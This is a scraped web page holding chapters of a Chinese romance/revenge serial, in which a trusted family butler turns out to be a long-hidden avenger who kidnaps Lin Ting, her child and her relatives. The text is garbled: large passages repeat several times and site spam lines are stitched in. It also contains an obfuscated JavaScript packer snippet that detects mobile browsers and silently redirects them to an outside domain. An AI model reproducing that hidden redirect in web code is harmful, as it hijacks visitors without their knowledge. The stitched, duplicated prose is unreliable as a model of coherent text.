林听的心跳漏掉了半拍,顿时用力推开他,“谁要占你便宜呀。” 被推开的周自衡,却是笑了。 “还有力气笑出来,看来是好了不少。” 林听拭了拭他的额头,果然是退烧了。 她松了一口气。 突然扯开话题,十分严肃道: “周自衡,我知道你重情重义,但是以后你不许再替别人挡刀子了。你得好好活着,不许再出事。” 说着,她又看了看他身上的伤疤,“你看看你身上的伤。” 周衡指了指腹腔左上方。 “除了这一处,是替江遇挡刀子留下的。” “其余的伤可不是挡刀子来的。” 腹腔左上方的伤疤,是替江遇挡刀留下来的。 他看着林听说,“当时我怕江遇死了,你会伤心。” 这硬朗又温柔的声线里,带着他独属的磁性与细腻。 每一个字,都烫得林听心尖一暖。 原来是从很久以前,他就开始默默地守护着她。 就算周自衡不说,林听也知道。 热泪顿时夺眶,“周自衡,你好傻啊!” 那个时候,她明明已经跟了江遇了。 就算他喜欢她,也不用喜欢到,要拿自己的血肉之躯去替江遇挡刀子的地步啊。 当时他九死一生,在抢救室做了十几个小时的手术。 医生下了十一次病危通知书。 失血过多的他,找不到合适的血源输血。 江书臣和江遇给周家的人打电话,一个个的巴不得他死,怎么可能给他输血。 幸好,江遇的血型和他配对上了。 当时只有江遇能输血。 一个人一次的献血量,最多是四百毫升。 当时江遇硬是让医生抽了八百毫升。 就算如此,江遇也还不了周自衡的救命之恩。 “周自衡,你明明知道冲上去挡刀子会死的,你为什么还那么傻,那么义无反顾?” 她的热泪落下来。 整张白皙的脸颊,顿时湿嗒嗒的。 泪水滑过她如玉般光滑的鼻尖,又缓缓淌进嘴里。 这苦涩的味道,在唇齿间漫延开来。 那样苦涩,像极了周自衡的整个苦涩的人生。 周自衡舍不得她哭。 带着薄茧的手指指腹,轻柔地拭过她的脸颊,拭过她的鼻尖。 他从来不愿林听和江遇分道扬镳。 江遇是林听整个青春少年,一直爱着的那个男人。 他不仅仅是他的兄弟,她爱着的男人,他也要保护。 因为周自衡知道,江遇要是死了,林听的天也会跟着塌掉。 可是这些心事,他没有说给她听。 他擦着她的泪,说道。 “都过去了,我命贱也命硬,没那么容易死。” “现在不是活得好好的吗。” 她摇头。 他的命不贱。 他这条命,是这世上独一无二的存在。 谁也不能代替。 “周自衡,答应我,以后你不许再让自己出事了。” 周自衡勾起唇角,笑了笑,“我只听我未来太太的,你是吗?” 第158章 林听的第二春 周自衡笑得那样平静自然。 就是这样沉静无波的笑意却泛起细碎的涟漪无声无息地洒满了林听的全身。 最初的时候林听看不明白他这平静又深邃的目光。 现在她什么都懂了。 她是一个生过孩子谈过一场轰轰烈烈的恋爱的成年人。 她比谁都明白。 此时此刻周自衡眼里那些平静无波又深邃的笑意到底意味着什么。 她感觉此刻自己心脏跳动的力量在她的控制范围以外。 随即故意推开他的手嘀咕了一声: “你这么不爱惜自己的生命谁要是当了你未来的太太恐怕要天天替你牵肠挂肚了。” 床头的那杯水被她端起来又塞到周自衡的怀里。 “发烧把喉咙都烧哑了还有心情开玩笑。” “把水喝了喝完。” 接过水杯的周自衡 听了林听的话他果然很乖一口气将一大杯水全部喝了个精光。 然后拿着空杯子晃了晃似乎是在向她报告:他已经完成任务了。 一杯水下了肚他觉得甜滋滋的。 这是他人生三十二年来喝过的最甜的水。 他捧着那个水杯看着林听眼里有笑容“林听。” 林听笑着应了一声“嗯!” “……”周自衡在脑海里把自己想要说的话快速过了一遍。 可是最后他开口的时候只说了一句他没有提前排练过的一句话“我会乖乖听你的话以后好好爱惜生命绝对不出事绝对不让你牵肠挂肚的。” 这句话让林听露出了安宁的笑容。 可是这样的安宁却维持不过半秒想到周自衡的身世想到他周遭的人林听眉眼里又有了许多不安。 “周自衡那你要说到做到不能食言。” 周自衡没有直接回应她。 他握起她的手将她的掌心紧紧扣在手指间用指间温柔又磅礴的力道来回应她。 林听感受着这掌心里的力道。 至少这一刻心里是踏实的。 …… 傍晚。 珠江南岸。 江遇签了一份又一份的合同。 签完合同他与眼前这位金发外国人握了握手。 他站在别墅门口送金发外国人离开的时候江书臣正好开着那辆红旗国宾缓缓驶来。 江书臣看了看离开的金发外国人下车后来到江遇的面前。 “那个人是谁?” 夜色下江遇站在秋夜的凉风中单手抄在西装裤袋里。 那挺拔伟岸风华绝色的身影映在一轮明月下倍下孑然和孤独。 连他的声音也透着一股子落寞“剩下的现金流准备好了?” 说话间江遇推门走进别墅。 江书臣跟着走进去“我不是才给你拨了五百亿的现金流吗你这么着急做什么?” 江遇进了别墅走到吧台前。 他启了一瓶红酒倒了小半杯递给江书臣。 “已经花掉了。” 让江书臣惊讶的不只是他短短几天之内花掉五百亿的这件事情。 更惊讶的是江遇这酒吧吧台前摆放的各种各样琳琅满目的酒。 一瓶一瓶的都被装进箱子里密封好了打包得完完整整。 “江遇你不会把你整个酒窖的酒都打包在这里了吧?” “你要干什么?” 江遇把酒杯塞到江书臣的手里“不干什么。” 说着他坐到吧台上把那几份合同塞进柜子里上了锁。 他不会让江书臣知道合同上的内容。 更不会告诉江书臣他已经秘密买下了好几个岛屿。 他正在秘密进行着一个重大的计较。 最近这段日子陪伴江遇最多的便是他手中的酒杯。 他坐在吧台上手肘着吧台台面端着杯子轻轻摇曳。 以前喝酒都是浅浅品尝细细回味。 入喉的每一口酒香层次都会在舌尖慢慢品味。 可是现在喝酒喝的是寂寞是无法宣泄的苦与痛。 大半杯酒他一口下了喉。 又去给自己倒了一杯。 江书臣按着他端起第二杯红酒的手。 “阿遇少喝点你肠胃不好。” 半年以前,所有人都以为林听抢救失败时,江遇连着好几天吐血。 从那个时候开始,就落下了严重的肠胃痛。 现在江遇每天都要吃药。 这一点,江书臣是知道的。 那只按在酒杯上的手,却**遇推开,“我除了喝酒,我还能干点什么?” 这语气中,带着他对自己的嘲讽笑意。 他知道,他有今日,完全是咎由自取。 又一个大半杯红酒下了肚,江遇连鼻臭里,都是浓浓的酒味。 “书臣,阿衡前天出了车祸。那辆防撞防弹防爆的红旗国耀,就算修好了,功能也没之前那么好了。” “我重新定制了一辆安全性能更高,更加防撞防爆防弹的国产比亚迪。” “你帮我把钥匙给他,就说是你送他的。” 别看现在的国产比亚迪,那可是国货之光。 定制的这些功能,都是江遇找的人特意加上去的。 说话间,江遇已经拿出了车钥匙,放在吧台上,推到江书臣的面前。 江书臣看了一眼车钥匙,沉沉地叹了一口气,“阿衡车祸的事情,我知道。是周才昆和朱**联合想来,想把他往死里整。那个肇事的货车司机是个绝症患者,得的是癌中之王——胰腺癌,就连**医药的M901抗癌药,也无法增高癌细胞的缓解率。就是一个将死之人,收了周才昆的钱,非得致阿衡于死地。这个司机是不给自己留半点退路,在拘留所还能用一双筷子戳破自己的喉咙,气绝而亡。可见周才昆用人之狠。” “阿遇。”江书臣拍了拍江遇的肩,“还多亏了你多年前定制的红旗轿车,保了阿衡一命。” 他拍拍江遇的肩,又说,“你放心,车子我一定送到阿衡的手里。你有心了。” 被夸了一通,江遇心里却并不好受。 他满眼酸溜溜地看着江书臣,“他出车祸的事,跟你说了?” 却没跟他说? 看来,周自衡是真的不再把他当兄弟了。 他们可是刎脖之交,有着过命的交情。 如今林听把他当空气。 周自衡也把他当空气了? 江书臣知道他的言外之意,拍了拍他的肩,“你还是喝你的酒吧。” 闹到今天这般田地,连周自衡都不理他了,怪谁呢? 还不是怪他自己。 说完,江书臣便离开了。 走远两步,又回头,补充道,“哦,对了,阿遇,你要的现金流,要明天才能凑齐。毕竟不是一笔小数目,而且集团也需要现金流周转。 江遇淡淡应声时,眼里在谋划着什么,“嗯。 看着他这样的目光,江书臣颇为费解,“阿遇,你要这笔现金流,到底要干什么? 江遇答得风马牛不相及,“书臣,未来很长一段时间,集团的事情都要辛苦你打理了。 江书臣皱眉,“你到底要干什么? 就在这个时候,江遇接到了一通电话。 打电话的人,是林建国,“阿遇,你回一趟星河湾好不好,我有事找你帮忙。 …… 星河湾。 林建国在书房里,捣鼓着一堆碎掉的瓷器。 江遇赶回去的时候,正见林建国愁眉苦脸。 “林叔,什么事? 林建国从碎瓷器前,抬起头来。 那些碎片,林听认得。 那是一套青花瓷的茶具。 这还是当初林建国五十岁大寿,林听拉着他一起去景德镇学习制窑,亲自烧制而成,送给林建国当生辰礼物的。 林建国一筹莫展道,“阿遇啊,我听振宇说,林听摔掉的陶瓷娃娃,你修复成功了。怎么修复的,教我一下。我也想把这些青花瓷茶具修复完整。林听小的时候啊,最喜欢呆在我的书房,我在旁边忙碌着,她就坐在旁边陪着。她最喜欢喝我泡的茶了。 林建国还妄想着有朝一日,林听能回到这个家来。 两父女还能像往常一样,坐在一盏茶桌前,一边沏茶,一边闲聊。 到时候,就用林听送给他的青花瓷茶具。 不过这青花瓷茶具,被他不小心给摔碎了。 对,只是不小心而已。 当时他不是故意的,他只是被林薇薇和苏秀珍母女俩蒙蔽了双眼。 他不是故意伤害林听的。 江遇看到林建国这样的痴心妄想,这才明白当时自己拿着一对修复好的陶瓷娃娃去找林听,是多么的可笑。 “林叔就算这套茶具修复完整了它也不是之前的那套茶具了。” 林建国不高兴了“怎么不是。这就是小听亲自为我烧制造的青花瓷茶具 江遇无可奈何道“是啊林叔它是林听亲自为你烧制的。为了学习传统的制窑手艺林听睡了两个月的硬板床而且屋子里没有空气她全身长满了痱子还差点被狗咬。” 说这些的时候江遇在责怪林建国也要责怪他自己。 而林建国满面泪水。 江遇记得上次和林建国见面是在半个月前他的头发只是白了一半。 现在看来已经全部花白了。 那个精神抖擞有着独特男人韵味的他怎么就成了一个糟老头子了? “阿遇你教教我怎么修复这些瓷器?” 林建国一把抓住江遇的手却又**遇推开。 “林叔做这些都没有意义的。” 可就是这样没意义的事情他却坚持做了一遍又一遍。 就在这个时候曹叔突然来书臣敲了敲门。 林建国寻声望去见曹叔脸色为难道“林总薇薇回来了她说她找你有重要的事情必须见你一面。” 林薇薇的名字让林建国额角冒出愤怒的青筋来。 她还有脸回来。 “不见!” “爸我今天找你真的是有非常重要的事情。” 林薇薇从曹叔的后面大步跨进书房里。 她一进门林建国的脸色黑得像锅盔。 他用鼻孔出气“谁允许你进来的曹叔把她赶出去。” 就是为了这么一个骗子他把自己的亲女儿送入了监狱差点害死自己的亲生女儿。 可到头来他千般宠万般疼的林薇薇却不是他的女儿。 就在这个时候林薇薇的目光落在了江遇的身上对上江遇反感厌恶的目光心下疼得滴血。 “阿遇你最近还好吗?” “不要叫我阿遇你没这资格。” 林薇薇很快掉出眼泪来一颗又一颗可怜巴巴的。 她擦了泪望向曹叔“曹叔你可以先出去 吗我和他们说会儿话。” 曹叔点点头掩门而去。 林薇薇甚至特意上前把门上了反锁这才重新看向林建国和江遇。 “爸!” “不要叫我爸我不是你爸。” 林薇薇直接给林建国跪下了“爸虽然我不是你的亲生女儿可是我从小的生活费教育费各种各样的费用都是您出的。是你把我养大的您对我有养育之恩。我利用您离间您和姐姐一直都是我妈教我的。她把我从那个村子里拐来时我还在襁褓里我什么都不懂她教我做什么我就做什么。爸我根本就没得选择。我就算是再坏再不是人也救了您小外孙女一命把她从河里捞起来了不是?” 林薇薇哭诉着“爸看在我也算心中有善念的份上可不可以听我把下面的话说完给我一个赎罪的机会?” 江遇看着穿着普通脸色发黄的林薇薇插了一句话“林叔让她把话说完。” 此时的林薇薇已经没了昔日她当林家千金时的娇贵优雅与美丽。 她就像是一朵饱受风霜快要凋谢的花。 脚上穿着拖鞋一条牛仔裤洗得发白T恤衫的领口洗得快要变形。 可是江遇丝毫也不心疼。 这个女人活该有今天。 “说吧说完赶紧滚。” 林薇薇这才擦了擦眼泪依旧跪在地上“爸我在城中村见到了我妈。就是苏秀珍。” 她接着说“爸你应该知道她其实不是我的生母。她是为了接近你报复你特意拐了我来给你当女儿这件事情吧。” 当年林建国确实撞死过个一岁多的小男童。 并且是在酒架的情况下。 慌乱之中他让人把那小男孩的尸体处理掉了后来又花了些钱买通关系。 这件事情就这么不了了之。 没想到撞死的那个小男孩竟然是苏秀珍的儿子。 这件事情林建国也让林振宇去查证过。 “爸苏秀珍应该被关在牢里她怎么出来了?” “还有她告诉过我她不会放过林家。她还有一个丈夫说不定就潜伏在林家。” “爸你好好查一查苏秀珍发过誓要让你家破人亡的你不能在意啊。” 这时林振宇打来了一通电话“爸不好了出事了……” 林建国的脸色刷一下黑沉沉了起来。 江遇见他这般神色 林建国却看着跪在地上的林薇薇“你说你看到苏秀珍在城中村出现?可是为什么振宇说苏秀珍在监狱里**了?” 江遇分析着这一切突然有一种很强的预感“林叔你真应该查一查身边的人说不定苏秀珍的丈夫就埋伏在你身边。” 这时门外贴了一双耳朵想要探听门里的说话内容可是什么也听不见。 不过好在茶室里装有**。 三人的说话内容他从**里听得清清楚楚。 然后站在一棵无人的大树下发了一条微信出去:他们开始起疑了必须马上动手。 你的朋友正在书荒,快去帮帮他吧 吗我和他们说会儿话。” 曹叔点点头掩门而去。 林薇薇甚至特意上前把门上了反锁这才重新看向林建国和江遇。 “爸!” “不要叫我爸我不是你爸。” 林薇薇直接给林建国跪下了“爸虽然我不是你的亲生女儿可是我从小的生活费教育费各种各样的费用都是您出的。是你把我养大的您对我有养育之恩。我利用您离间您和姐姐一直都是我妈教我的。她把我从那个村子里拐来时 林薇薇哭诉着“爸看在我也算心中有善念的份上可不可以听我把下面的话说完给我一个赎罪的机会?” 江遇看着穿着普通脸色发黄的林薇薇插了一句话“林叔让她把话说完。” 此时的林薇薇已经没了昔日她当林家千金时的娇贵优雅与美丽。 她就像是一朵饱受风霜快要凋谢的花。 脚上穿着拖鞋一条牛仔裤洗得发白T恤衫的领口洗得快要变形。 可是江遇丝毫也不心疼。 这个女人活该有今天。 “说吧说完赶紧滚。” 林薇薇这才擦了擦眼泪依旧跪在地上“爸我在城中村见到了我妈。就是苏秀珍。” 她接着说“爸你应该知道她其实不是我的生母。她是为了接近你报复你特意拐了我来给你当女儿这件事情吧。” 当年林建国确实撞死过个一岁多的小男童。 并且是在酒架的情况下。 慌乱之中他让人把那小男孩的尸体处理掉了后来又花了些钱买通关系。 这件事情就这么不了了之。 没 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你身边有不少朋友还没看到本章呢,快去给他们剧透吧 吗,我和他们说会儿话。” 曹叔点点头,掩门而去。 林薇薇甚至特意上前,把门上了反锁,这才重新看向林建国和江遇。 “爸!” “不要叫我爸,我不是你爸。” 林薇薇直接给林建国跪下了,“爸,虽然我不是你的亲生女儿,可是我从小的生活费,教育费,各种各样的费用,都是您出的。是你把我养大的,您对我有养育之恩。我利用您,离间您和姐姐,一直都是我妈教我的。她把我从那个村子里拐来时,我还在襁褓里,我什么都不懂,她教我做什么,我就做什么。爸,我根本就没得选择。我就算是再坏,再不是人,也救了您小外孙女一命,把她从河里捞起来了,不是?” 林薇薇哭诉着,“爸,看在我也算心中有善念的份上,可不可以听我把下面的话说完,给我一个赎罪的机会?” 江遇看着穿着普通,脸色发黄的林薇薇,插了一句话,“林叔,让她把话说完。” 此时的林薇薇,已经没了昔日她当林家千金时的娇贵优雅与美丽。 她就像是一朵饱受风霜,快要凋谢的花。 脚上穿着拖鞋,一条牛仔裤洗得发白,T恤衫的领口洗得快要变形。 可是江遇丝毫也不心疼。 这个女人活该有今天。 “说吧,说完赶紧滚。” 林薇薇这才擦了擦眼泪,依旧跪在地上,“爸,我在城中村见到了我妈。就是苏秀珍。” 她接着说,“爸,你应该知道,她其实不是我的生母。她是为了接近你,报复你,特意拐了我来给你当女儿这件事情吧。” 当年林建国确实撞死过个一岁多的小男童。 并且是在酒架的情况下。 慌乱之中,他让人把那小男孩的尸体处理掉了,后来又花了些钱买通关系。 这件事情,就这么不了了之。 没想到,撞死的那个小男孩,竟然是苏秀珍的儿子。 这件事情,林建国也让林振宇去查证过。 “爸,苏秀珍应该被关在牢里,她怎么出来了?” “还有,她告诉过我,她不会放过林家。她还有一个丈夫,说不定就潜伏在林家。” “爸,你好好查一查,苏秀珍发过誓,要让你家破人亡的,你不能在意啊。” 这时,林振宇打来了一通电话,“爸,不好了,出事了……” 林建国的脸色,刷一下,黑沉沉了起来。 江遇见他这般神色,赶紧问,“林叔,出什么事了?” 林建国却看着跪在地上的林薇薇,“你说,你看到苏秀珍在城中村出现?可是为什么,振宇说,苏秀珍在监狱里**了?” 江遇分析着这一切,突然有一种很强的预感,“林叔,你真应该查一查身边的人,说不定苏秀珍的丈夫,就埋伏在你身边。” 这时,门外贴了一双耳朵,想要探听门里的说话内容,可是什么也听不见。 不过好在,茶室里装有**。 三人的说话内容,他从**里,听得清清楚楚。 然后站在一棵无人的大树下,发了一条微信出去:他们开始起疑了,必须马上动手。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 吗,我和他们说会儿话。 曹叔点点头,掩门而去。 林薇薇甚至特意上前,把门上了反锁,这才重新看向林建国和江遇。 “爸! “不要叫我爸,我不是你爸。 林薇薇直接给林建国跪下了,“爸,虽然我不是你的亲生女儿,可是我从小的生活费,教育费,各种各样的费用,都是您出的。是你把我养大的,您对我有养育之恩。我利用您,离间您和姐姐,一直都是我妈教我的。她把我从那个村子里拐来时,我还在襁褓里,我什么都不懂,她教我做什么,我就做什么。爸,我根本就没得选择。我就算是再坏,再不是人,也救了您小外孙女一命,把她从河里捞起来了,不是? 林薇薇哭诉着,“爸,看在我也算心中有善念的份上,可不可以听我把下面的话说完,给我一个赎罪的机会? 江遇看着穿着普通,脸色发黄的林薇薇,插了一句话,“林叔,让她把话说完。 此时的林薇薇,已经没了昔日她当林家千金时的娇贵优雅与美丽。 她就像是一朵饱受风霜,快要凋谢的花。 脚上穿着拖鞋,一条牛仔裤洗得发白,T恤衫的领口洗得快要变形。 可是江遇丝毫也不心疼。 这个女人活该有今天。 “说吧,说完赶紧滚。 林薇薇这才擦了擦眼泪,依旧跪在地上,“爸,我在城中村见到了我妈。就是苏秀珍。 她接着说,“爸,你应该知道,她其实不是我的生母。她是为了接近你,报复你,特意拐了我来给你当女儿这件事情吧。 当年林建国确实撞死过个一岁多的小男童。 并且是在酒架的情况下。 慌乱之中,他让人把那小男孩的尸体处理掉了,后来又花了些钱买通关系。 这件事情,就这么不了了之。 没想到,撞死的那个小男孩,竟然是苏秀珍的儿子。 这件事情,林建国也让林振宇去查证过。 “爸,苏秀珍应该被关在牢里,她怎么出来了? “还有,她告诉过我,她不会放过林家。她还有一个丈夫,说不定就潜伏在林家。 “爸,你好好查一查,苏秀珍发过誓,要让你家破人亡的,你不能在意啊。 这时,林振宇打来了一通电话,“爸,不好了,出事了…… 林建国的脸色,刷一下,黑沉沉了起来。 江遇见他这般神色,赶紧问,“林叔,出什么事了? 林建国却看着跪在地上的林薇薇,“你说,你看到苏秀珍在城中村出现?可是为什么,振宇说,苏秀珍在监狱里**了? 江遇分析着这一切,突然有一种很强的预感,“林叔,你真应该查一查身边的人,说不定苏秀珍的丈夫,就埋伏在你身边。 这时,门外贴了一双耳朵,想要探听门里的说话内容,可是什么也听不见。 不过好在,茶室里装有**。 三人的说话内容,他从**里,听得清清楚楚。 然后站在一棵无人的大树下,发了一条微信出去:他们开始起疑了,必须马上动手。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第159章 居然是他! 江遇总感觉要出大事。 他望向还没反应过来的林建国,问: “林叔,我问你,三十年前,你真的撞死过一个小男孩,并且抛尸野外?那小男孩就是苏秀珍的儿子?” 这,这……林建国怎么会承认。 万一这是林薇薇故意来套他的话,准备录音,拿到他撞**的证据,岂不是要坐牢。 见林建国如此小心谨慎,江遇断定,林振宇之前跟他说的林建国撞死的小男孩,就是苏秀珍儿子一事,是真的。 “林叔,你们都有危险了。” 林听也有危险。 苏秀珍和其丈夫,是要让林家家破人亡。 他们在林家潜伏了这么些年,苏秀珍先是接近林建国,又骗他说怀了他的孩子,让林薇薇冒充他的女儿。 然后离间林建国和林听之间的父女感情,让林薇薇彻底顶替林家千金之位。 他们为了报仇,把林家搅得鸡犬不宁。 林家的每一个人都有危险。 他意识到不妙,二话不说,箭步离开。 苏秀珍虽然暴露了,可是她与林建国是领过结婚证的,是合法夫妻。 林建国现在依然还是苏秀珍的丈夫。 林振宇打完电话以后,监狱那边也来了一通电话。 “林先生,您太太在监狱**了,您过来一趟吧。” 此时此刻的林建国,完全没有意识到,将有一场大的灾难降临。 他挂了电话,收拾着,要去监狱。 林薇薇拉住了他,“爸,苏秀珍没有死,她真的没死,我真的在城中村见过她,你别去监狱,我怕这是他们的阴谋。” 林薇薇也是个可怜之人。 还在襁褓的时候,父母出了车祸,双双去世。 她呆在奶奶身边,路都不会走的时候,又被苏秀珍拐走。 她从小的记忆里,苏秀珍就是她的亲生母亲。 她让她讨好林建国,讨好林振宇,她只能照做。 可是她从来没有想过要做坏事。 柚子花生过敏,差点休克死亡的时候,她的内心是无比挣扎,无比内疚的。 她不想跟着苏秀珍一次又一次地做坏事,可是她上了苏秀珍这只贼船,是没有办法 下船的。 直到前段日子苏秀珍捅了林建国之后被铐上了**她才知道她的身世。 苏秀珍骗了她利用了她。 可是林建国没有。 林建国和林振宇对她的所有好 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)她都记在心上。 “爸我怕你出事你相信我一回吧。” 林薇薇真心想弥补。 可林建国不信。 监狱还能骗人? 他冷冷地挥开林薇薇。 “你说的每一个字每一个标点符号我都不会再相信。” “爸你还在怪我?”林薇薇哭道“我也是身不由己万般无奈才会骗了你害了姐姐。我从小就被苏秀珍当成一棵棋子安插在你和哥哥知边。我没有选择的权利我的人生是被苏秀珍安排好的我其实并不是一个坏人。” 这些话让林建国远去的步伐停了下来。 他知道柚子被人扔进河里的时候确实是林薇薇救下来的。 可是这并不代表他会原谅林薇薇。 过去他真的把林薇薇当成亲生女儿一样宠着疼着其疼爱程度不压于当年他对林听的宠爱。 他们之间是有过父女亲情的。 他生病的时候林薇薇也病床前照顾过几天几夜。 可是这些都是虚情假意。 “林薇薇你我父女情尽你走吧。以后你是死是活都跟我们林家没有半点关系。” …… 东江幼儿园。 林听在薛老那边忙完之后直接打车到了校门口。 又到了柚子放学的时间。 今天落落生病了没有来学校。 林听接到柚子准备打车回家。 这个时候她接到了周自衡的电话。 “林听我让洛高过去接你和柚子我这边走不开他应该快到了。” “没事你忙正事。” “有想我吗?” “……”这个男人他们还没确定真正的恋爱关系吧?怎么突然这么会撩人。 柚子听到电话里周爸爸的声音扯着嗓子大声笑道“爸爸我和妈妈都想你啦。晚上你回家吃饭吗?” 电话里周自衡的语声温柔至极“爸 爸忙完就回去,陪你和妈妈吃晚饭。 柚子高高兴兴道,“好,爸爸回家的时候,注意安全。 林听挂了电话。 就在这个时候,见到曹叔迎面走过来。 林听挺奇怪的,“曹叔,你怎么在这里? 见曹叔一脸沉重的表情,林听就更疑惑了,“曹叔,发生什么事情了? 曹叔紧紧蹙着眉心,双眼含着泪,连声音也是哽咽的,“小听,出,出大事了。你爸他…… 怎么回事? 她明明已经和林建国断绝了父女关系。 他出事了,关她什么事。 可是她为什么心下咯噔一下,“出什么大事了? “…… “曹叔,你说话? 曹叔抬起两片唇,唇在颤抖,泪水再也止不住,“苏秀珍在监狱里**了,你爸去处理后事,在去监狱的途中遇到了车祸。车子被撞得稀巴烂,你爸当时就快不行了,可能救不过来了。小听,你去医院看一看吧。 林听没有说话。 她的脸上也没有什么表情。 时间好像静止在这一刻,“……他**吗? 她不知道自己是平静还是悲伤。 总之这一刻,脑袋有些乱。 她永远也不想认林建国这个父亲,可她身上却永远流着林建国的血。 她想起那两年,爷爷奶奶嫌弃她是个闺女,气愤林建国为了照顾她不再续弦,和林建国吵得天翻地覆。 林建国说,他的闺女不是死丫头,是这世间最乖巧的小棉袄,是他的心肝宝贝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869390|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁也不能欺负他的闺女。 林建国因为她,还和爷爷奶奶断绝了关系。 可是后来,又发生了许多事情。 她再也不是林建国的掌上明珠,人人都可以欺负她。 后来发生的那些事情,她不会原谅林建国。 可这并不代表,她希望林建国死。 收到林建国出事的消息,她并不会幸灾乐祸。 “小听,你快去医院看看你爸吧,或许还能见上最后一面,或许连最后一面也见不上了。 说着,曹叔便不停地抹泪。 林听没有回答。 她 大脑一片空白。 曹叔怕她不肯去医院赶紧劝道: “小听你爸后来做了再多对不起你的事情 “你忘了吗你爸为了你和你爷爷奶奶都断绝关系了。” “你身上始终流着他的血呀。” 闻言林听这才牵着柚子鬼使神差地迈开了步子“走吧。” 曹叔赶紧拉开了车门然后跟着林听和柚子一起上了车。 林听这个人戒备心比较强。 上车后她发现开车的司机是她从来没有见过的。 她问“曹叔他是林家新来的司机?” 之前林家的司机林听虽然不熟但是并不是现在这样的生面孔。 曹叔点头“对新来的司机。” 不知为何林听觉得怪怪的。 今天的曹叔也怪怪的。 她周自衡说洛高要去幼儿园接她和柚子便掏出了手机要给洛高打电话。 电话却怎么也拨不出去。 再一看手机信号只有半格。 没信号了吗? 她还没有意识到危险的存在。 更不可能知道这辆商务车上放了许多**。 她的手机是不可能打通任何电话的。 “曹叔我的手机没有信号把你手机借给我用一下可以吗我打个电话。” 曹叔说好。 可是他掏出电话时却突然拿着一块帕子捂向了林听的嘴。 林听对曹叔完全没有任何防备。 这些年来曹叔在林家是对她最好的那个人。 哪怕后来林家所有人都说她不是林建国的亲生女儿时曹叔依然没有改变任何态度还是关心她安慰她给予她各种帮助。 曹叔的脸上有一条长长的伤疤看起来可能会有点凶。 但其实他对所有人从来都是慈眉善目。 可是这一刻林听被捂着嘴鼻息里有着刺激的气味头晕乎乎之际曹叔这张疤痕纵横的脸突然变得陌生而恐怖。 他仿佛是来自地狱眼里有着一股要将她弄死的狠劲和毒恶。 咬着牙仿佛要张开血盆大口。 “林听要怪就怪你那个伪善的父亲。” “你放开我妈妈。”旁边的柚子捶打着曹叔的胳膊。 下一瞬柚子被挥开。 一颗小脑袋直接撞在车玻璃门上。 整个小小一团的身影很快就晕了过去。 晕过去之前柚子害怕又紧张地看了林听一眼“妈妈……” 第160章 你们赶紧结婚吧 林听心都要碎掉了。 她害怕曹叔对柚子不利。 巨大的恐慌将她淹没,可是她什么也做不了。 捂着她的那张帕子,越来越刺鼻。 脑袋越来越晕,身体越来越软。 最后软软地倒在了车厢里。 曹叔这才松开手来,看了看林听,又看了看小柚子。 “你们都得死! 曹叔心思缜密。 中途,他在监控盲区,连续换了两辆车。 就算警方查起来,一时半会儿也查不到他把林家人绑去的地方。 车子连续开一个多小时。 一直开到了一百多公里之外。 林听再睁开眼的时候,发现柚子被绑在自己眼前,小胳膊小腿都被绑着,小脑袋也耷拉着,仍旧处于昏迷状态。 她下意识地想要扑过去抱起柚子,这才发现自己的四肢被绑着。 根本无法动弹。 嘴也被死死地堵着。 而她的旁边,曹叔冷漠地坐在那里。 一双写满杀意的眼睛,死死地盯着她。 这不是她所认识的,那个善良温和,慈祥爱笑的曹叔。 他是一个恶魔。 她瞪大眼睛,看着曹叔,眼里写满了惊恐。 她不知道曹叔为什么要绑了她和小柚子。 未知的恐惧让她不寒而栗。 全身每一处毛孔,冷汗涔涔。 曹叔看着她,平静地问: “小听,你知道我为什么要把你和小柚子绑过来吗? 为什么绑了她们。 林听哪里知道啊? 要怪就怪,曹叔在林家一直伪装得很好。 她才对他没有防备之心。 曹叔又说: “三十一年前,林建国开车撞了一个一岁多的小男孩。 “他不确认男孩有没有死,直接让人把小男孩丢在深山野岭里,销毁了所有的证据,又买通了警方。 “哪怕他有一丝一毫的怜悯之心,能够把小男孩送去医院抢救,就算抢救不过来,也不会有今天这样的结局。 “小听,你知道吗?苏秀珍是我老婆,林薇薇是我们一起拐来的孩子。 “ 让林薇薇离间你们父女之间的感情,也是我们计划里的一部分。 “看着你们林家分崩离析,一个个的都不得好死,才能以慰我儿子在天之灵。 “小听,其实你是一个很乖的孩子。 “和小柚子都是无辜的。 “要怪就怪你们身上都流着林家的血。 “你们都得死。 报仇雪恨的人,是没有理智的。 林听知道,今天她和柚子是在劫难逃了。 她的心顿时跌到了谷底。 身为一个母亲,看着自己的孩子被绑着小手小脚,被塞着嘴巴。 那样可怜地倒在自己面前。 哪怕是绝境,她也不能害怕。 她必须保持冷静,可是心里八七八糟的,毫无对策。 这个时候,她唯一想到的,是周自衡。 洛高没有接到她和小柚子,周自衡一定能够找到她们的吧? 就在她心里没底的时候,颠簸的车子在一处山林深处停下来。 车窗外,有一个废旧的铁皮房。 到处锈迹斑斑。 看样子已经荒废很多年了。 林听和小柚子两母女,被曹叔苏秀珍二人抬进了铁皮房。 林听这才看见,林建国和林振宇,都在这里,他们同样被绑着手脚。 曹叔用了同样的谎言,把林振宇和林建国骗上了车。 他们看到被抬进来的林听和柚子,嘴里唔唔唔地发出声音。 曹叔最先扯开塞在林振宇嘴里的碎布,林振宇愤怒地瞪着他,“不许你伤害我妹妹和我外甥女。 曹叔二话不说,拿出一把**在林振宇左肩上用力捅了一刀。 白刀子进,红刀子出,疼得林振宇啊啊大叫。 捅完这一刀,曹叔满眼仇恨地看向林建国: “林建国,你们一家四口也凑起了。 “我要让你亲眼看到,你儿子,女儿,你外孙女,一个个的全都死在你面前。 “也要让你尝尝这种失去至亲,家破人亡的痛苦滋味…… 林振宇没有办法想象,向来慈眉善目的曹叔,竟然在他们林家潜伏了三十一年。 此时此刻,林振宇恨不得杀了曹叔。 